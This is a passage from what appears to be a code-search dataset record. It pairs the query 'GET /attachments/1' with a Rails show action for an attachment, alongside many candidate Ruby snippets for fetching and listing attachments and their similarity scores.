{}\n query_params[:'storage'] = opts[:'storage'] if !opts[:'storage'].nil?\n query_params[:'folder'] = opts[:'folder'] if !opts[:'folder'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n # Fix header in file\n post_body = nil\n\n # http body (model)\n # Fix header in file\n # post_body = nil\n auth_names = ['JWT']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'AttachmentsResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PdfApi#get_document_attachments\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def attachment_get\n c_user = current_user()\n course = Course.where(id: params[:course_id]).first()\n\n # Course not found case\n if course.nil?\n return ( render status: 404, json: { result: \"Course Not Found\" } )\n end\n\n # Course found case\n if params[:type] == \"Document\"\n attache = Document.where(id: params[:attach_id], attachable_id: course.id).first()\n elsif params[:type] == \"Embed\"\n attache = Embed.where(id: params[:attach_id], attachable_id: course.id).first()\n end\n\n # Attachment not found case\n if attache.nil?\n return ( render status: 404, json: { result: \"Attachable Not Found\" } )\n end\n\n # Public case:\n if course.visibility == Visibility.published \n render status: 200, json: { result: attache}\n\n # Authenticated case:\n elsif logged_in? # Ensure that the user is logged in\n # Checks IF user is privledged or owns the course, ELSE return unauthorized\n if c_user.role == Role.admin or c_user.role == Role.moderator or\n c_user.id == course.user_id then\n render status: 200, json: { result: attache }\n else\n render status: 401, json: { result: \"Not Authorized\" }\n end\n\n # Course is not (public) AND (owned by user and editable) AND (user is not privledged)\n else\n render status: 401, json: { result: \"Not Authorized\" }\n end\n end", "def show\n @attachment = @page.attachments.find(params[:id])\n\n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => @attachment.to_xml }\n end\n end", "def show\n email = Gmailer.gmail.inbox.find(:all).find {|e| e.msg_id == @message.message_id.to_i } #convert due to wrong type\n @attachments = email ? email.message.attachments : []\n end", "def index\n @pub_attachments = PubAttachment.all\n end", "def attachment(name)\n name = name.to_s\n return attachments[name][:file] if @attachments.try(:[], :name).try(:[], :file)\n begin\n result = retrieve_attachment(name)\n @attachments = (@attachments || {}).merge(name => {:file => result[:file], :dirty => false, :content_type => result[:content_type]})\n result[:file]\n rescue RestClient::ResourceNotFound\n nil\n end\n end", "def index\n @embedded_attachments = EmbeddedAttachment.page params[:page]\n end", "def index\n @link_attachments = LinkAttachment.all\n end", "def index\n @note_attachments = NoteAttachment.all\n end", "def show\n @attached_asset = AttachedAsset.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @attached_asset }\n end\n end", "def get_file_attachments_with_http_info(id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: EmailsApi#get_file_attachments ...\"\n end\n \n # verify the required parameter 'id' is set\n fail \"Missing the required parameter 'id' when calling get_file_attachments\" if id.nil?\n \n # resource path\n local_var_path = \"/Emails/{id}/FileAttachments\".sub('{format}','json').sub('{' + 'id' + '}', id.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'updated_after_utc'] = opts[:'updated_after_utc'] if opts[:'updated_after_utc']\n query_params[:'skip'] = opts[:'skip'] if opts[:'skip']\n query_params[:'top'] = opts[:'top'] if opts[:'top']\n query_params[:'count_total'] = opts[:'count_total'] if opts[:'count_total']\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n _header_accept = ['application/json']\n _header_accept_result = @api_client.select_header_accept(_header_accept) and header_params['Accept'] = _header_accept_result\n\n # HTTP header 'Content-Type'\n _header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Array<InlineResponse2002>')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: EmailsApi#get_file_attachments\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def show\n @pattachment = Pattachment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pattachment }\n end\n end", "def index\n @file_upload_attachments = FileUploadAttachment.all\n end", "def get(\n id,\n deadline: nil\n )\n req = V1::AccountAttachmentGetRequest.new()\n if not @parent.snapshot_time.nil?\n req.meta = V1::GetRequestMetadata.new()\n req.meta.snapshot_at = @parent.snapshot_time\n end\n\n req.id = (id)\n tries = 0\n plumbing_response = nil\n loop do\n begin\n plumbing_response = @stub.get(req, metadata: @parent.get_metadata(\"AccountAttachments.Get\", req), deadline: deadline)\n rescue => exception\n if (@parent.shouldRetry(tries, exception))\n tries + +@parent.jitterSleep(tries)\n next\n end\n raise Plumbing::convert_error_to_porcelain(exception)\n end\n break\n end\n\n resp = AccountAttachmentGetResponse.new()\n resp.account_attachment = Plumbing::convert_account_attachment_to_porcelain(plumbing_response.account_attachment)\n resp.meta = Plumbing::convert_get_response_metadata_to_porcelain(plumbing_response.meta)\n resp.rate_limit = Plumbing::convert_rate_limit_metadata_to_porcelain(plumbing_response.rate_limit)\n resp\n end", "def show\n @cause_analyasis = CauseAnalysis.find(params[:id])\n @attachment = @cause_analyasis.attachment\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cause_analyasis }\n end\n end", "def index\n @order_attachments = OrderAttachment.all\n end", "def get_attachment(db, locale, version, attachment_name, ttl=settings.long_ttl)\n id = get_topic_or_image_id(locale, version, attachment_name)\n return get_from_db_or_cache(db, id, {:trx => CouchDBTransaction::FETCH_ATTACHMENT, :attachment_name => attachment_name}, ttl)\n end", "def index\n @gallery_attachments = GalleryAttachment.all\n end", "def show\n @file_upload_attachments = @file_upload.file_upload_attachments.all\n end", "def attachments\n @attachments ||= Attachments.new( self )\n end", "def show\n @ticket_attachments = @ticket.ticket_attachments.all\n end", "def get_file_attachments_with_http_info(id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: LeadsApi#get_file_attachments ...\"\n end\n \n # verify the required parameter 'id' is set\n fail \"Missing the required parameter 'id' when calling get_file_attachments\" if id.nil?\n \n # resource path\n path = \"/Leads/{id}/FileAttachments\".sub('{format}','json').sub('{' + 'id' + '}', id.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'updated_after_utc'] = opts[:'updated_after_utc'] if opts[:'updated_after_utc']\n query_params[:'skip'] = opts[:'skip'] if opts[:'skip']\n query_params[:'top'] = opts[:'top'] if opts[:'top']\n query_params[:'count_total'] = opts[:'count_total'] if opts[:'count_total']\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n _header_accept = ['application/json']\n _header_accept_result = @api_client.select_header_accept(_header_accept) and header_params['Accept'] = _header_accept_result\n\n # HTTP header 'Content-Type'\n _header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Array<APIFileAttachment>')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: LeadsApi#get_file_attachments\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def show\n @record_id = params[:id]\n\n # run the where clause globally\n @relevant_record = Record.find(@record_id)\n @relevant_attachments = RecordAttachment.where(record_id: @record_id).order(\"id\")\n\n # make the record attachments an array if it isn't already \n if @relevant_attachments.length > 1\n @record_attachments = @relevant_attachments\n else \n @record_attachments = [@relevant_attachments[0]]\n end\n\n respond_to do |format|\n format.html {}\n format.json { render json: {\n record: @relevant_record, \n attachments: @record_attachments,\n }.to_json }\n end\n end", "def index\n @travel_post_attachments = TravelPostAttachment.all\n end", "def new\n @attachment = Attachment.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @attachment }\n end\n end", "def new\n @attachment = Attachment.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @attachment }\n end\n end", "def new\n @attachment = Attachment.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @attachment }\n end\n end", "def attachments\n (msg['attachments']||{}).map{|attached| Mandrill::WebHook::Attachment[attached.last] }\n end", "def test_ListBugAttachments\n\t\tcolName = 'attachments'\n\t\tretClass = LeanTesting::BugAttachment\n\t\tresp = rcol(colName, ['_id', '_owner_id', 'url', 'created_at'])\n\t\t@client.debugReturn = {'data'=> JSON.generate(resp), 'status'=> 200}\n\n\t\tcol = LeanTesting::Bug.new(@client, {'id'=> 0}).attachments.all\n\n\t\tassert_equal resp[colName], col.toArray\n\t\tassert_instance_of retClass, col.collection[0]\n\t\tassert_equal resp['meta']['pagination']['total'], col.total\n\t\tassert_equal resp['meta']['pagination']['total_pages'], col.totalPages\n\t\tassert_equal resp['meta']['pagination']['count'], col.count\n\tend", "def mandrill_attachments\n attachments.map do |attachment|\n {\n 'type' => attachment.content_type,\n 'name' => attachment.filename,\n 'content' => Base64.encode64(attachment.body.decoded)\n }\n end\n end", "def index\n @event_attachments = EventAttachment.all\n end", "def index\n @design_image_attachments = DesignImageAttachment.all\n end", "def show\n @attachment = Attachment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @attachment }\n end\n end", "def show\n @attachment = Attachment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @attachment }\n end\n end", "def show\n @attachment = Attachment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @attachment }\n end\n end", "def client_attachments\n self.messages.where(location_submitted: Message::CLIENT_EMAIL_LOCATIONS).collect { |message| message.attachments }.flatten\n end", "def index\n @code_solution_attachments = CodeSolutionAttachment.all\n end", "def find_attachment(resource_id, attachment_id)\n http.get(\"#{attachment_endpoint(resource_id)}/#{attachment_id}\") do |response|\n Rexpense::Entities::Attachment.new response.parsed_body\n end\n end", "def get_attachment\n @document = EcoDocument.find(params[:id])\n send_data(@document.data,\n :filename => @document.name,\n :type => @document.content_type,\n :disposition => \"inline\")\n end" ]
[ "0.7403629", "0.7219272", "0.7218139", "0.72067606", "0.7203128", "0.7203128", "0.7203128", "0.7203128", "0.7187078", "0.71577555", "0.71577555", "0.71577555", "0.71577555", "0.71577555", "0.7101302", "0.7087153", "0.70859534", "0.70809966", "0.7067069", "0.7044941", "0.6974182", "0.6934534", "0.6915728", "0.6859555", "0.6841584", "0.68336284", "0.6813257", "0.6803211", "0.67831296", "0.67447114", "0.67441785", "0.67422134", "0.67422134", "0.67422134", "0.6711804", "0.6711804", "0.67076254", "0.6699036", "0.6673793", "0.66734964", "0.6670717", "0.6669373", "0.6668828", "0.66393286", "0.663547", "0.6612226", "0.6610143", "0.6579428", "0.6569426", "0.65692466", "0.6568812", "0.6539002", "0.65386945", "0.653828", "0.6505969", "0.64862674", "0.64862674", "0.6486018", "0.64787436", "0.6472493", "0.64643395", "0.64643", "0.64588964", "0.64464396", "0.6444612", "0.6444596", "0.64241236", "0.6416789", "0.6410403", "0.63883686", "0.6387893", "0.6351931", "0.6327238", "0.6323617", "0.630149", "0.62917084", "0.628213", "0.62812275", "0.62740344", "0.6270491", "0.6270372", "0.62648445", "0.6238376", "0.6238089", "0.6236201", "0.6236201", "0.62351465", "0.62322044", "0.62239623", "0.62235874", "0.620757", "0.62061095", "0.62014365", "0.62014365", "0.62014365", "0.62008375", "0.61980444", "0.61945295", "0.6192143" ]
0.7475036
1
GET /attachments/1 GET /attachments/1.json
def show @attachment = Attachment.find(params[:id]) respond_to do |format| format.html # show.html.erb format.json { render json: @attachment } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_attachment(id)\n response = conn.get 'api/files/attachments/' + id\n\n unless response.status == 200\n error_model = JSON.load(response.body)\n mailosaur_error = Mailosaur::MailosaurError.new('Operation returned an invalid status code \\'' + response.status.to_s + '\\'', error_model)\n raise mailosaur_error\n end\n\n response.body\n end", "def show\n @message_attachment = MessageAttachment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @message_attachment }\n end\n end", "def index\n @channel = Channel.find_by_name(params[:channel_id])\n @attachments = @channel.attachments.order(\"created_at DESC\")\n\n respond_to do |format|\n format.json { render :json => @attachments.to_json(:methods => :url) }\n end\n end", "def get_attachment(name)\n\n unless (model.properties.has_property?(:attachments) &&\n model.properties[:attachments].type == DataMapper::Types::JsonObject &&\n model.properties[:attachments].field == :_attachments)\n raise ArgumentError, \"Attachments require ' property :attachments, JsonObject, :field => :_attachments'\"\n end\n\n unless self.id && self.attachments && self.attachments[name]\n nil\n else\n http = Net::HTTP.new(repository.adapter.uri.host, repository.adapter.uri.port)\n uri = attachment_path(name)\n response, data = http.get(uri, { 'Content-Type' => self.attachments[name]['content_type'] })\n\n unless response.kind_of?(Net::HTTPSuccess)\n nil\n else\n data\n end\n end\n\n end", "def index\n @attachments = Attachment.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @attachments }\n end\n end", "def index\n @attachments = Attachment.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @attachments }\n end\n end", "def retrieve_attachment(name)\n { :file => RestClient.get(\"#{ uri }/#{ CGI.escape(name) }\"),\n :content_type => JSON.parse(RestClient.get(uri))['_attachments']['name'] }\n end", "def attachments(*params)\n id = params[0]\n unnamed = params[1]\n if params[0].class == Hash\n params = params[0]\n id = params[:id] if params.has_key? :id\n unnamed = params[:unnamed] if params.has_key? :unnamed\n end\n unnamed = false if unnamed.to_s == \"0\"\n id = $~[1] if id =~ /ticket\\/(\\d+)/\n resp = @site[\"ticket/#{id}/attachments\"].get\n resp.gsub!(/RT\\/\\d+\\.\\d+\\.\\d+\\s\\d{3}\\s.*\\n\\n/,\"\") # toss the HTTP response\n resp.gsub!(/^\\n/m,\"\") # toss blank lines\n while resp.match(/CF\\.\\{[\\w_ ]*[ ]+[\\w ]*\\}/) #replace CF spaces with underscores\n resp.gsub!(/CF\\.\\{([\\w_ ]*)([ ]+)([\\w ]*)\\}/, 'CF.{\\1_\\3}')\n end\n th = response_to_h(resp)\n list = []\n pattern = /(\\d+:\\s.*?\\))(?:,|$)/\n match = pattern.match(th['attachments'].to_s)\n while match != nil\n list.push match[0]\n s = match.post_match\n match = pattern.match(s)\n end\n attachments = []\n list.each do |v|\n attachment = {}\n m=v.match(/(\\d+):\\s+(.*?)\\s+\\((.*?)\\s+\\/\\s+(.*?)\\)/)\n if m.class == MatchData\n next if m[2] == \"(Unnamed)\" and !unnamed\n attachment[:id] = m[1]\n attachment[:name] = m[2]\n attachment[:type] = m[3]\n attachment[:size] = m[4]\n attachments.push attachment\n end\n end\n attachments\n end", "def index\n @attachments = Attachment.all\n end", "def index\n @attachments = Attachment.all\n end", "def index\n @attachments = Attachment.all\n end", "def index\n @attachments = Attachment.all\n end", "def index\n @attachments = Attachment.all\n end", "def get_attachment(attachment_id)\n params = {'key' => @api_key}\n RestClient.get(\"#{@base_uri}/attachment/#{attachment_id}\", {:params => params}).body\n end", "def get_attachment(name)\n assert_attachments_property\n\n attachment = self.attachments[name] if self.attachments\n\n unless self.id && attachment\n nil\n else\n adapter = repository.adapter\n http = Net::HTTP.new(adapter.uri.host, adapter.uri.port)\n uri = Addressable::URI.encode_component(attachment_path(name))\n response, data = http.get(uri, 'Content-Type' => attachment['content_type'])\n\n unless response.kind_of?(Net::HTTPSuccess)\n nil\n else\n data\n end\n end\n\n end", "def attachment( document_id, attachment_id )\n new( :id => document_id ).attachments.get!( attachment_id )\n end", "def fetch_attachment(document_id, attachment_name)\n server.get(\"#{name}/#{CGI.escape(document_id)}/#{CGI.escape(attachment_name)}\", :no_json => true)\n end", "def getAttachment(attachmentId)\n params = Hash.new\n params['key'] = @API_KEY\n response = RestClient.get(@BASE_URI + '/attachment/' + attachmentId, {:params => params})\n return response.body\n end", "def list_attachments\n @artifact_answer = ArtifactAnswer.find(params[:id])\n @attachments = @artifact_answer.attachments\n render layout: false\n end", "def show\n @attachment_datum = AttachmentDatum.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @attachment_datum }\n end\n end", "def get_issue_attachments(issue_id_or_key)\n get(\"issues/#{issue_id_or_key}/attachments\")\n end", "def get_attachment(*params)\n tid = params[0]\n aid = params[1]\n dir = nil\n dir = params[2] if params.size > 2\n if params[0].class == Hash\n params = params[0]\n tid = params[:ticket] if params.has_key? :ticket\n aid = params[:attachment] if params.has_key? :attachment\n dir = params[:dir] if params.has_key? :dir\n end\n tid = $~[1] if tid =~ /ticket\\/(\\d+)/\n resp = @site[\"ticket/#{tid}/attachments/#{aid}\"].get\n resp.gsub!(/RT\\/\\d+\\.\\d+\\.\\d+\\s\\d{3}\\s.*\\n\\n/,\"\") # toss HTTP response\n while resp.match(/CF\\.\\{[\\w_ ]*[ ]+[\\w ]*\\}/) #replace CF spaces with underscores\n resp.gsub!(/CF\\.\\{([\\w_ ]*)([ ]+)([\\w ]*)\\}/, 'CF.{\\1_\\3}')\n end\n headers = response_to_h(resp)\n reply = {}\n headers.each do |k,v|\n reply[\"#{k}\"] = v.to_s\n end\n content = resp.match(/Content:\\s+(.*)/m)[1]\n content.gsub!(/\\n\\s{9}/,\"\\n\") # strip leading spaces on each line\n content.chomp!\n content.chomp!\n content.chomp! # 3 carriage returns at the end\n if (RUBY_VERSION.to_f >= 1.9)\n binary = content.encode(\"ISO-8859-1\",\"UTF-8\", { :invalid => :replace, :undef => :replace })\n else\n binary = Iconv.conv(\"ISO-8859-1\",\"UTF-8\",content) # convert encoding\n end\n if dir\n fh = File.new(\"#{dir}/#{headers['Filename'].to_s}\",\"wb\")\n fh.write binary\n fh.close\n else\n reply[\"content\"] = binary\n end\n reply\n end", "def attachments(message_id, params = {})\n @api.get(\"#{@api.path}/List/#{@id}/Email/#{message_id}/Attachment\", params: params)\n end", "def attachment(name)\n name = name.to_s\n return attachments[name][:file] if @attachments.try(:[], :name).try(:[], :file)\n begin\n result = retrieve_attachment(name)\n @attachments = (@attachments || {}).merge(name => {:file => result[:file], :dirty => false, :content_type => result[:content_type]})\n result[:file]\n rescue RestClient::ResourceNotFound\n nil\n end\n end", "def get_attachment attachment_index\n begin\n \n if @filename == ''\n raise 'filename not specified'\n end\n \n if attachment_index == ''\n raise 'attachment index not specified'\n end\n \n \n str_uri = $product_uri + '/pdf/' + @filename + '/attachments/' + attachment_index.to_s\n str_signed_uri = Aspose::Cloud::Common::Utils.sign(str_uri) \n response_stream = RestClient.get(str_signed_uri, {:accept=>'application/json'})\n \n stream_hash = JSON.parse(response_stream)\n \n return stream_hash['Attachment']\n \n \n rescue Exception=>e\n print e\n end\n end", "def show\n @attachment = @page.attachments.find(params[:id])\n\n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => @attachment.to_xml }\n end\n end", "def index\n @attachments = @pad.attachments\n @attachment = @pad.attachments.new\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @attachments }\n end\n end", "def show\n @attachments = @document.attachments\n respond_to do |format|\n format.html\n format.js\n end\n end", "def get_attachment(db, locale, version, attachment_name, ttl=settings.long_ttl)\n id = get_topic_or_image_id(locale, version, attachment_name)\n return get_from_db_or_cache(db, id, {:trx => CouchDBTransaction::FETCH_ATTACHMENT, :attachment_name => attachment_name}, ttl)\n end", "def show\n # These are expected and required by the file_handler route: \"file_attachments/:content_type/:parent_id/:id\"\n id = params[:id]\n parent_id = params[:parent_id]\n \n case params[:content_type]\n when \"PrivateMessage\" \n # Only users involved in PM conversations can view attachments\n file_attachment = PrivateMessage.with_recipients.with_user(session[:user_id]).with_attachments.find(parent_id).file_attachments.find(id)\n when \"NewsArticle\"\n file_attachment = NewsArticle.include_attachments.find(parent_id).file_attachments.find(id)\n else \n end\n \n # Sanitize path to ensure that the path is not pointing anywhere malicious on the server \n path = file_attachment.attachment.path\n raise MissingFile, \"Couldn't read #{file_attachment.attachment_file_name}\" unless\n File.readable?(path) and\n File.file?(path)\n \n send_file file_attachment.attachment.path, :type => file_attachment.attachment_content_type\n end", "def attachments\n @attachments\n end", "def get_all_attachments(page_id)\n\n url = \"#{@@conf_url}/#{@@urn}/#{page_id}/child/attachment?os_username=#{@@login}&os_password=#{@@pwd}&status=current\"\n\n begin\n atts = RestClient.get url, :content_type => 'application/json', :accept => 'json'\n rescue RestClient::ExceptionWithResponse => e\n puts Nokogiri.XML(e.response)\n nil\n end\n\n unless atts.nil?\n JSON.parse(atts)[\"results\"]\n end\n end", "def show\n @pattachment = Pattachment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pattachment }\n end\n end", "def attachments\n Easybill::Api::Attachments\n end", "def show\n @meeting = Meeting.find(params[:id])\n @json_from_file = 0\n for file in @meeting.file.attachments\n if file.content_type == 'application/json'\n download_file_from_s3('smartmeetingsbelieving', \"./tmp/\" + file.filename.to_s(), file.filename.to_s())\n @json_from_file = File.read(\"tmp/\" + file.filename.to_s())\n end\n end\n end", "def get(\n id,\n deadline: nil\n )\n return @account_attachments.get(\n id,\n deadline: deadline,\n )\n end", "def attachments\n load_object\n load_attachments\n render layout: false\n end", "def show\n email = Gmailer.gmail.inbox.find(:all).find {|e| e.msg_id == @message.message_id.to_i } #convert due to wrong type\n @attachments = email ? email.message.attachments : []\n end", "def show\n @record_id = params[:id]\n\n # run the where clause globally\n @relevant_record = Record.find(@record_id)\n @relevant_attachments = RecordAttachment.where(record_id: @record_id).order(\"id\")\n\n # make the record attachments an array if it isn't already \n if @relevant_attachments.length > 1\n @record_attachments = @relevant_attachments\n else \n @record_attachments = [@relevant_attachments[0]]\n end\n\n respond_to do |format|\n format.html {}\n format.json { render json: {\n record: @relevant_record, \n attachments: @record_attachments,\n }.to_json }\n end\n end", "def attachments\n @attachments ||= []\n end", "def show\n @attachment = Attachment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @attachment }\n end\n end", "def show\n @attachment = Attachment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @attachment }\n end\n end", "def show\n @attachment = Attachment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @attachment }\n end\n end", "def get_email_attachments\n\t\tresp = @resp\n\n\t\tparams[\"email\"] ||= \"\"\n\t\tparams[\"password\"] ||= \"\"\n\n\t\t# Authorize and process attachments in mail account\n\t\tresp = Resume.gmail_attachments(resp, params)\n\n\t\trender :json => resp\n end", "def index\n @post_attachments = PostAttachment.all\n end", "def index\n @post_attachments = PostAttachment.all\n end", "def get_attachment\n @document = EcoDocument.find(params[:id])\n send_data(@document.data,\n :filename => @document.name,\n :type => @document.content_type,\n :disposition => \"inline\")\n end", "def show\n @cause_analyasis = CauseAnalysis.find(params[:id])\n @attachment = @cause_analyasis.attachment\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cause_analyasis }\n end\n end", "def get_file_attachments_with_http_info(id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: NotesApi#get_file_attachments ...\"\n end\n \n # verify the required parameter 'id' is set\n fail \"Missing the required parameter 'id' when calling get_file_attachments\" if id.nil?\n \n # resource path\n path = \"/Notes/{id}/FileAttachments\".sub('{format}','json').sub('{' + 'id' + '}', id.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'updated_after_utc'] = opts[:'updated_after_utc'] if opts[:'updated_after_utc']\n query_params[:'skip'] = opts[:'skip'] if opts[:'skip']\n query_params[:'top'] = opts[:'top'] if opts[:'top']\n query_params[:'count_total'] = opts[:'count_total'] if opts[:'count_total']\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n _header_accept = ['application/json']\n _header_accept_result = @api_client.select_header_accept(_header_accept) and header_params['Accept'] = _header_accept_result\n\n # HTTP header 'Content-Type'\n _header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Array<APIFileAttachment>')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: NotesApi#get_file_attachments\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def attachments\n parts.attachments\n end", "def new\n @attachment = Attachment.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @attachment }\n end\n end", "def new\n @attachment = Attachment.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @attachment }\n end\n end", "def show\n @attached_asset = AttachedAsset.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @attached_asset }\n end\n end", "def new\n @attachment = Attachment.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @attachment }\n end\n end", "def index\n @embedded_attachments = EmbeddedAttachment.page params[:page]\n end", "def index\n @cms_attachments = Cms::Attachment.all\n end", "def index\n @pub_attachments = PubAttachment.all\n end", "def find_attachment(resource_id, attachment_id)\n http.get(\"#{attachment_endpoint(resource_id)}/#{attachment_id}\") do |response|\n Rexpense::Entities::Attachment.new response.parsed_body\n end\n end", "def index\n @file_attachments = FileAttachment.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @file_attachments }\n end\n end", "def attachment\n @attachment\n end", "def show\n @post_attachments = @post.post_attachments.all\n end", "def show\n @post_attachments = @post.post_attachments.all\n end", "def attachments\n if attachment_ids\n attachment_ids.map {|id| Attachment.find(id)}\n else\n []\n end\n end", "def show\n @file_upload_attachments = @file_upload.file_upload_attachments.all\n end", "def get_document_attachments_with_http_info(name, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: PdfApi.get_document_attachments ...\"\n end\n # verify the required parameter 'name' is set\n if @api_client.config.client_side_validation && name.nil?\n fail ArgumentError, \"Missing the required parameter 'name' when calling PdfApi.get_document_attachments\"\n end\n # resource path\n local_var_path = \"/pdf/{name}/attachments\".sub('{' + 'name' + '}', name.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'storage'] = opts[:'storage'] if !opts[:'storage'].nil?\n query_params[:'folder'] = opts[:'folder'] if !opts[:'folder'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n # Fix header in file\n post_body = nil\n\n # http body (model)\n # Fix header in file\n # post_body = nil\n auth_names = ['JWT']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'AttachmentsResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PdfApi#get_document_attachments\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def show\n @file_attachment = FileAttachment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @file_attachment }\n end\n end", "def attachments\n @attachments ||= ActiveStorage::Attachment.where(record_gid: record.to_gid.to_s, name: name)\n end", "def index\n @user_attachments = UserAttachment.all\n end", "def retrieveImages\n posting = Posting.find(params[:id])\n post_attachments = posting.post_attachments.all\n respond_to do |format|\n format.json { render json: {\n status: 'ok',\n rowcount: post_attachments.length,\n results: post_attachments.map { |b| {\n id: b.id,\n imageData: b.image,\n description: b.description\n }}\n }}\n end\n end", "def item_only_attachments\n @relevant_object = convert_id_to_model(params[:id])\n @images = @relevant_object.media_items\n end", "def fetch_attachment(post, attachment_name, attachment_type)\n server_urls = perform_legacy_discovery(post[:entity])\n return unless server_urls.any?\n\n res = server_urls.inject(nil) do |memo, server_url|\n url = \"#{server_url}/posts/#{URI.encode_www_form_component(post[:entity])}/#{post[:public_id]}/attachments/#{attachment_name}\"\n res = Faraday.get(url) do |req|\n req.headers['Accept'] = attachment_type\n end\n\n if res.status == 200\n break res\n end\n\n res\n end\n\n res\n end", "def index\n @note_attachments = NoteAttachment.all\n end", "def retrieve_fresh_attachment\n Attachment.find(attachment.id)\n end", "def get_file_attachments_with_http_info(id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: EmailsApi#get_file_attachments ...\"\n end\n \n # verify the required parameter 'id' is set\n fail \"Missing the required parameter 'id' when calling get_file_attachments\" if id.nil?\n \n # resource path\n local_var_path = \"/Emails/{id}/FileAttachments\".sub('{format}','json').sub('{' + 'id' + '}', id.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'updated_after_utc'] = opts[:'updated_after_utc'] if opts[:'updated_after_utc']\n query_params[:'skip'] = opts[:'skip'] if opts[:'skip']\n query_params[:'top'] = opts[:'top'] if opts[:'top']\n 